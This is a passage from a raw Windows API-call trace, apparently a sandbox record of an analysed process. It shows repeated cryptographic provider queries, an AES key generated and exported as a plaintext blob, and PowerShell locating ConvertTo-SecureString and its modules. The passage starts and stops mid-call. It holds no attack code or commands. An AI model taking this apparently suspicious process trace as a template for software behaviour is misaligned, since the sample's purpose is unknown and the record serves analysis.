pdwDataLen=0x5a2e2e4) returned 1 [0166.612] CoTaskMemFree (pv=0x5c41df8) [0166.612] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.612] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.612] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.612] CoTaskMemFree (pv=0x5c41df8) [0166.612] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.612] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.612] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.613] CoTaskMemFree (pv=0x5c41df8) [0166.613] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.613] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.613] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.613] CoTaskMemFree (pv=0x5c41df8) [0166.613] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.613] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.613] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.614] CoTaskMemFree (pv=0x5c41df8) [0166.614] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.614] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.614] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.614] CoTaskMemFree (pv=0x5c41df8) [0166.614] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.614] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.614] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.615] CoTaskMemFree (pv=0x5c41df8) [0166.615] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.615] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.615] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.615] CoTaskMemFree (pv=0x5c41df8) [0166.615] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.615] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.615] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.617] CoTaskMemFree (pv=0x5c41df8) [0166.617] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.617] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.617] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.617] CoTaskMemFree (pv=0x5c41df8) [0166.617] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.617] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.617] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.618] CoTaskMemFree (pv=0x5c41df8) [0166.618] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.618] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.618] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.618] CoTaskMemFree (pv=0x5c41df8) [0166.618] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.618] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.618] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.619] CoTaskMemFree (pv=0x5c41df8) [0166.619] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.619] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.619] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.619] CoTaskMemFree (pv=0x5c41df8) [0166.619] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.620] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.620] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.620] CoTaskMemFree (pv=0x5c41df8) [0166.620] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.620] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.620] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.620] CoTaskMemFree (pv=0x5c41df8) [0166.620] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 0 [0168.593] CryptGenKey (in: hProv=0x3733d0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e75c | out: phKey=0x5a2e75c*=0x3b4f28) returned 1 [0168.595] CryptContextAddRef (hProv=0x3733d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0169.008] CryptExportKey (in: hKey=0x3b4f28, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e74c | out: pbData=0x0*, pdwDataLen=0x5a2e74c*=0x2c) returned 1 [0169.008] CryptExportKey (in: hKey=0x3b4f28, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2263520, pdwDataLen=0x5a2e74c | out: pbData=0x2263520*, pdwDataLen=0x5a2e74c*=0x2c) returned 1 [0169.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0169.437] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2e284, nSize=0xc9 | out: lpBuffer="") returned 0xc8 [0169.437] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e270, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0169.439] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e84f8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0169.439] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e278, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0169.439] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.439] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0169.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e184) returned 1 [0169.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5a2e448 | out: lpFileInformation=0x5a2e448*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x46c57d00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46c57d00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46c57d00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e180) returned 1 [0169.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.441] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.441] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0169.442] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\ConvertTo-SecureString.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\convertto-securestring.*"), lpFindFileData=0x5a2e1f0 | out: lpFindFileData=0x5a2e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e198) returned 1 [0169.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3f8) returned 1 [0169.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e184) returned 1 [0169.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a2e448 | out: lpFileInformation=0x5a2e448*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x77890ea0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0x77890ea0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0169.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e180) returned 1 [0169.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.444] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.*" (normalized: "c:\\windows\\syswow64\\convertto-securestring.*"), lpFindFileData=0x5a2e1f0 | out: lpFindFileData=0x5a2e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e198) returned 1 [0169.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3f8) returned 1 [0169.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e184) returned 1 [0169.444] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2e448 | out: lpFileInformation=0x5a2e448*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcf069020, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xcf069020, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0169.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e180) returned 1 [0169.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.445] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.*" (normalized: "c:\\windows\\convertto-securestring.*"), lpFindFileData=0x5a2e1f0 | out: lpFindFileData=0x5a2e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e198) returned 1 [0169.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3f8) returned 1 [0169.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e184) returned 1 [0169.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a2e448 | out: lpFileInformation=0x5a2e448*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0169.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e180) returned 1 [0169.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.446] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.*" (normalized: "c:\\windows\\syswow64\\wbem\\convertto-securestring.*"), lpFindFileData=0x5a2e1f0 | out: lpFindFileData=0x5a2e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e198) returned 1 [0169.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3f8) returned 1 [0169.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e184) returned 1 [0169.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a2e448 | out: lpFileInformation=0x5a2e448*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e180) returned 1 [0169.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.447] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ConvertTo-SecureString.*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\convertto-securestring.*"), lpFindFileData=0x5a2e1f0 | out: lpFindFileData=0x5a2e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e198) returned 1 [0169.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3f8) returned 1 [0169.448] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2e2dc, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0169.451] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0169.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0169.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0169.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.452] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.453] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.453] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.453] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.453] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.454] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.454] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.454] GetFileAttributesW 